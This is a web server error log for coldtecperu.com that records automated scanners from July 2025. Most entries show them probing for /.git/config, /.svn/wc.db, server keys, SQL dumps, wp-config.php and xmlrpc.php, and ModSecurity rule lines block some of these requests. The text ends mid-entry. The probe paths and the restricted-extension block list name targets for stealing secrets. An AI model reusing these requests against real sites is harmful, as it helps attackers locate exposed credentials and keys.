trAvis - MANAGER

Edit File: coldtecperu.com.error.log

[Fri Jul 18 23:46:29.000997 2025] [authz_core:error] [pid 12014:tid 12087] [client 159.65.18.197:37860] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Fri Jul 18 23:46:29.157949 2025] [authz_core:error] [pid 12014:tid 12090] [client 157.230.19.140:37870] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/07/18 23:46:29 [error] 11980#11980: *381584 access forbidden by rule, client: 159.65.18.197, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/07/18 23:46:30 [error] 11979#11979: *381605 access forbidden by rule, client: 157.230.19.140, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Fri Jul 18 23:46:30.384589 2025] [:error] [pid 12012:tid 12039] [client 159.65.18.197:37974] File does not exist: /home/coldtecp/public_html/info.php 2025/07/18 23:46:30 [error] 11980#11980: *381646 access forbidden by rule, client: 64.226.65.160, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Fri Jul 18 23:46:30.745423 2025] [:error] [pid 14470:tid 14497] [client 157.230.19.140:38012] File does not exist: /home/coldtecp/public_html/info.php 2025/07/18 23:46:30 [error] 11980#11980: *381686 access forbidden by rule, client: 138.68.144.227, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Fri Jul 18 23:46:32.183652 2025] [authz_core:error] [pid 14470:tid 14496] [client 139.59.132.8:38116] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Fri Jul 18 23:46:32.272820 2025] [authz_core:error] [pid 14470:tid 14491] [client 68.183.9.16:38122] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/07/18 23:46:33 [error] 11980#11980: *381845 access forbidden by rule, client: 139.59.132.8, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/07/18 23:46:33 [error] 11979#11979: *381851 access forbidden by rule, client: 68.183.9.16, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/07/18 23:46:33 [error] 11980#11980: *381855 access forbidden by rule, client: 139.59.143.102, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/07/18 23:46:34 [error] 11979#11979: *381872 access forbidden by rule, client: 159.89.12.166, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/07/18 23:46:34 [error] 11980#11980: *381886 access forbidden by rule, client: 64.226.65.160, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Fri Jul 18 23:46:34.615961 2025] [:error] [pid 14470:tid 14484] [client 139.59.132.8:38234] File does not exist: /home/coldtecp/public_html/info.php [Fri Jul 18 23:46:34.716438 2025] [:error] [pid 12012:tid 12038] [client 68.183.9.16:38238] File does not exist: /home/coldtecp/public_html/info.php 2025/07/18 23:46:35 [error] 11980#11980: *381927 access forbidden by rule, client: 159.89.174.87, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sat Jul 19 07:48:33.992668 2025] [:error] [pid 20374:tid 20423] [client 178.128.90.37:42934] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 07:48:34.077944 2025] [:error] [pid 20373:tid 20386] [client 178.128.90.37:42936] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 07:51:59.739211 2025] [:error] [pid 20373:tid 20380] [client 152.42.171.174:43268] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 07:52:56.791208 2025] [:error] [pid 20374:tid 20423] [client 152.42.171.174:43362] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/19 09:46:52 [error] 20217#20217: *403802 access forbidden by rule, client: 109.202.99.41, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Sat Jul 19 09:46:52.421042 2025] [:error] [pid 20930:tid 20946] [client 109.202.99.41:52904] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/etc/ssl/private/server.key"] [unique_id "aHuv3OhxE8KUkO7cBFDisgAAAM4"] [Sat Jul 19 09:46:52.426739 2025] [:error] [pid 20375:tid 20443] [client 109.202.99.41:52906] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/web.config"] [unique_id "aHuv3CaaggxsIiJOHxcHnQAAAIk"] [Sat Jul 19 09:46:52.431434 2025] [:error] [pid 20930:tid 20952] [client 109.202.99.41:52912] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "aHuv3OhxE8KUkO7cBFDitQAAANQ"] [Sat Jul 19 09:46:52.432249 2025] [:error] [pid 20930:tid 20952] [client 109.202.99.41:52914] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/server.key"] [unique_id "aHuv3OhxE8KUkO7cBFDitgAAANQ"] [Sat Jul 19 09:46:52.433154 2025] [:error] [pid 20930:tid 20952] [client 109.202.99.41:52916] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/database_backup.sql"] [unique_id "aHuv3OhxE8KUkO7cBFDitwAAANQ"] [Sat Jul 19 09:46:52.440761 2025] [:error] [pid 20374:tid 20422] [client 109.202.99.41:52926] File does not exist: /home/coldtecp/public_html/wp-config.php [Sat Jul 19 09:46:52.454838 2025] [:error] [pid 20373:tid 20397] [client 109.202.99.41:52938] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/database.sql"] [unique_id "aHuv3DkHQD_mhSQ_GNJwCQAAABE"] [Sat Jul 19 09:46:52.465737 2025] [:error] [pid 20930:tid 20948] [client 109.202.99.41:52948] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/dump.sql"] [unique_id "aHuv3OhxE8KUkO7cBFDivQAAANA"] [Sat Jul 19 09:46:52.468476 2025] [:error] [pid 20930:tid 20948] [client 109.202.99.41:52952] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sat Jul 19 09:46:52.463593 2025] [:error] [pid 20930:tid 20953] [client 109.202.99.41:52944] [client 109.202.99.41] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/backup.sql"] [unique_id "aHuv3OhxE8KUkO7cBFDiuwAAANU"] 2025/07/19 09:46:52 [error] 20217#20217: *403824 access forbidden by rule, client: 109.202.99.41, server: coldtecperu.com, request: "GET /.svn/wc.db HTTP/1.1", host: "coldtecperu.com" [Sat Jul 19 09:46:52.477428 2025] [:error] [pid 20930:tid 20952] [client 109.202.99.41:52958] File does not exist: /home/coldtecp/public_html/config.php 2025/07/19 09:46:52 [error] 20217#20217: *403860 access forbidden by rule, client: 213.232.87.230, server: mail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "mail.coldtecperu.com" 2025/07/19 09:46:52 [error] 20217#20217: *403882 access forbidden by rule, client: 213.232.87.230, server: webmail.coldtecperu.com, request: "GET /.svn/wc.db HTTP/1.1", host: "webmail.coldtecperu.com" 2025/07/19 09:46:52 [error] 20217#20217: *403868 access forbidden by rule, client: 213.232.87.230, server: webmail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "webmail.coldtecperu.com" 2025/07/19 09:46:52 [error] 20217#20217: *403867 access forbidden by rule, client: 213.232.87.230, server: mail.coldtecperu.com, request: "GET /.svn/wc.db HTTP/1.1", host: "mail.coldtecperu.com" [Sat Jul 19 09:46:52.576829 2025] [authz_host:error] [pid 20373:tid 20386] [client 109.202.99.41:52920] AH01753: access check of 'localhost' to /server-status failed, reason: unable to get the remote host name [Sat Jul 19 09:46:52.587731 2025] [authz_core:error] [pid 20373:tid 20386] [client 109.202.99.41:52920] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Sat Jul 19 12:05:33.044028 2025] [:error] [pid 20375:tid 20454] [client 178.128.90.37:41284] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 12:05:57.827302 2025] [:error] [pid 20930:tid 20955] [client 152.42.171.174:41342] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 16:50:24.885944 2025] [:error] [pid 20373:tid 20387] [client 132.226.146.177:32814] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 17:50:43.449299 2025] [:error] [pid 20930:tid 20939] [client 144.172.108.72:37390] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/19 20:22:44 [error] 20216#20216: *431769 access forbidden by rule, client: 44.202.83.108, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sat Jul 19 21:02:01.445183 2025] [:error] [pid 20375:tid 20434] [client 134.255.218.97:50094] File does not exist: /home/coldtecp/public_html/wp-login.php 2025/07/19 21:12:31 [error] 20216#20216: *433585 access forbidden by rule, client: 44.202.83.108, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Sat Jul 19 22:18:52.521595 2025] [:error] [pid 20930:tid 20949] [client 13.221.148.189:54598] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:19:45.095362 2025] [:error] [pid 20930:tid 20948] [client 44.201.211.170:54674] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:32:58.775218 2025] [:error] [pid 20930:tid 20950] [client 13.221.12.243:55380] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:57:56.790033 2025] [:error] [pid 20374:tid 20424] [client 128.199.159.129:56286] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:57:58.998741 2025] [:error] [pid 20373:tid 20383] [client 128.199.159.129:56312] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:59:27.304751 2025] [:error] [pid 20375:tid 20438] [client 152.42.174.149:56438] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 22:59:27.330039 2025] [:error] [pid 20930:tid 20932] [client 152.42.174.149:56440] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 23:06:56.639963 2025] [:error] [pid 20930:tid 20955] [client 132.226.146.177:57306] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Jul 19 23:28:41.302774 2025] [:error] [pid 20373:tid 20389] [client 143.198.95.56:58010] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Jul 20 00:20:40.493700 2025] [:error] [pid 20374:tid 20428] [client 13.221.12.243:33072] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 00:24:08.327237 2025] [:error] [pid 20375:tid 20446] [client 137.184.28.156:33334] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 00:44:16.795781 2025] [:error] [pid 20374:tid 20409] [client 128.199.159.129:35418] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 00:44:17.017223 2025] [:error] [pid 20374:tid 20423] [client 152.42.174.149:35422] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 00:55:06.801148 2025] [:error] [pid 20373:tid 20387] [client 44.212.41.104:36906] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 01:46:46.360609 2025] [:error] [pid 20375:tid 20437] [client 98.82.7.54:41828] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/07/20 05:16:35 [error] 1234#1234: *454403 access forbidden by rule, client: 34.227.227.190, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/07/20 05:18:57 [error] 1234#1234: *454514 access forbidden by rule, client: 34.227.227.190, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sun Jul 20 06:38:23.005839 2025] [:error] [pid 1387:tid 1409] [client 132.226.146.177:36286] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 07:44:39.303760 2025] [:error] [pid 1271:tid 1350] [client 34.136.170.106:41836] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 08:34:11.579755 2025] [:error] [pid 1272:tid 1295] [client 132.226.146.177:45738] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 09:35:46.752317 2025] [:error] [pid 1273:tid 1322] [client 34.31.134.236:51582] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 11:00:53.572049 2025] [:error] [pid 1272:tid 1282] [client 178.128.90.37:58766] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 11:02:30.876724 2025] [:error] [pid 1387:tid 1398] [client 157.245.154.64:58942] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 11:04:19.103417 2025] [:error] [pid 1387:tid 1407] [client 178.128.90.37:59146] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 11:34:45.535543 2025] [:error] [pid 1272:tid 1292] [client 157.245.154.64:33686] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:06:36.491408 2025] [:error] [pid 548:tid 598] [client 178.128.90.37:35440] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:17:32.106064 2025] [:error] [pid 882:tid 900] [client 157.245.154.64:35876] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:31:55.703385 2025] [:error] [pid 882:tid 900] [client 152.42.174.149:36536] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:31:55.737168 2025] [:error] [pid 707:tid 734] [client 152.42.174.149:36538] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:32:12.346822 2025] [:error] [pid 455:tid 472] [client 128.199.159.129:36636] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 12:32:14.538597 2025] [:error] [pid 882:tid 903] [client 128.199.159.129:36666] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 15:16:29.799991 2025] [:error] [pid 548:tid 563] [client 142.93.162.10:45258] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 21:12:45.773698 2025] [:error] [pid 628:tid 664] [client 34.55.107.134:44986] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 21:24:04.700519 2025] [:error] [pid 628:tid 653] [client 143.198.95.56:45690] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Jul 20 21:24:39.848219 2025] [:error] [pid 455:tid 480] [client 132.226.146.177:45732] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 23:01:21.229781 2025] [:error] [pid 707:tid 743] [client 128.199.159.129:51306] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 23:09:22.097820 2025] [:error] [pid 882:tid 911] [client 128.199.159.129:51960] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 23:11:24.411909 2025] [:error] [pid 1273:tid 1310] [client 152.42.174.149:52156] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Jul 20 23:12:07.934208 2025] [:error] [pid 882:tid 901] [client 152.42.174.149:52256] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 00:02:09.796277 2025] [:error] [pid 455:tid 462] [client 132.226.146.177:55400] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 01:36:48.891496 2025] [:error] [pid 882:tid 899] [client 139.59.238.37:36942] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 01:51:56.914868 2025] [:error] [pid 805:tid 832] [client 51.107.7.195:38116] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 03:10:11.608508 2025] [:error] [pid 1387:tid 1398] [client 152.42.174.149:43572] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 03:13:38.108131 2025] [:error] [pid 707:tid 754] [client 128.199.159.129:43896] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 06:20:23.031529 2025] [:error] [pid 5011:tid 5018] [client 132.226.146.177:56336] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 09:28:18.331835 2025] [:error] [pid 4746:tid 4801] [client 34.19.15.113:39432] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 11:52:59.084029 2025] [:error] [pid 4745:tid 4778] [client 167.71.208.163:49652] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 11:57:54.349081 2025] [:error] [pid 24621:tid 24633] [client 178.128.90.37:49950] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 12:08:23.569435 2025] [:error] [pid 5011:tid 5018] [client 178.128.90.37:50670] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 12:27:50.925099 2025] [:error] [pid 4744:tid 4766] [client 167.71.208.163:52694] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 13:12:30.876415 2025] [:error] [pid 24621:tid 24647] [client 132.226.146.177:56076] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 13:16:16.263696 2025] [:error] [pid 4744:tid 4753] [client 178.128.90.37:56378] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 13:29:15.149457 2025] [:error] [pid 5011:tid 5018] [client 167.71.208.163:58352] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 16:46:15.152086 2025] [:error] [pid 5011:tid 5033] [client 185.205.184.189:41142] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 18:04:50.763967 2025] [:error] [pid 4746:tid 4798] [client 132.226.146.177:43266] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Jul 21 18:39:06.576014 2025] [:error] [pid 4744:tid 4755] [client 143.198.95.56:44390] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Jul 21 21:39:09.169027 2025] [:error] [pid 5011:tid 5017] [client 143.198.95.56:52042] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Jul 21 22:30:12.312971 2025] [:error] [pid 4746:tid 4825] [client 89.104.110.209:55014] File does not exist: /home/coldtecp/public_html/3ds.php [Mon Jul 21 22:30:12.903142 2025] [:error] [pid 4746:tid 4787] [client 156.248.54.111:55020] File does not exist: /home/coldtecp/public_html/3ds.php [Tue Jul 22 00:22:20.883948 2025] [:error] [pid 24621:tid 24626] [client 132.226.146.177:33434] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 02:55:17.912144 2025] [:error] [pid 24621:tid 24638] [client 128.199.159.129:44194] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 03:02:17.112232 2025] [:error] [pid 5011:tid 5020] [client 128.199.159.129:44580] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 03:08:29.711549 2025] [:error] [pid 24621:tid 24641] [client 152.42.174.149:44964] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 03:08:52.684861 2025] [:error] [pid 4745:tid 4796] [client 152.42.174.149:45014] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 03:09:47.574109 2025] [:error] [pid 24621:tid 24648] [client 132.226.146.177:45086] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 04:41:28.796761 2025] [:error] [pid 23317:tid 23336] [client 128.199.159.129:51764] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 05:14:49.435901 2025] [:error] [pid 23317:tid 23337] [client 128.199.159.129:53966] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 05:19:16.045912 2025] [:error] [pid 23206:tid 23283] [client 152.42.174.149:54246] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 05:22:49.535425 2025] [:error] [pid 23317:tid 23320] [client 152.42.174.149:54552] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 08:23:34.387129 2025] [:error] [pid 23206:tid 23284] [client 128.199.159.129:41112] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 08:23:52.256802 2025] [:error] [pid 23205:tid 23254] [client 152.42.174.149:41186] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 09:25:32.945666 2025] [:error] [pid 23206:tid 23273] [client 132.226.146.177:46718] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 10:23:45.097179 2025] [:error] [pid 23317:tid 23325] [client 152.42.174.149:48936] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 10:34:05.613440 2025] [:error] [pid 23205:tid 23256] [client 128.199.159.129:49280] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 12:00:31.813903 2025] [:error] [pid 23206:tid 23257] [client 152.42.184.245:51920] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 12:35:47.922063 2025] [:error] [pid 23206:tid 23275] [client 152.42.184.245:53202] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 12:59:03.986904 2025] [:error] [pid 23204:tid 23210] [client 152.42.184.245:53968] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 22 13:09:24.611888 2025] [:error] [pid 23206:tid 23281] [client 178.128.90.37:54290] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Jul 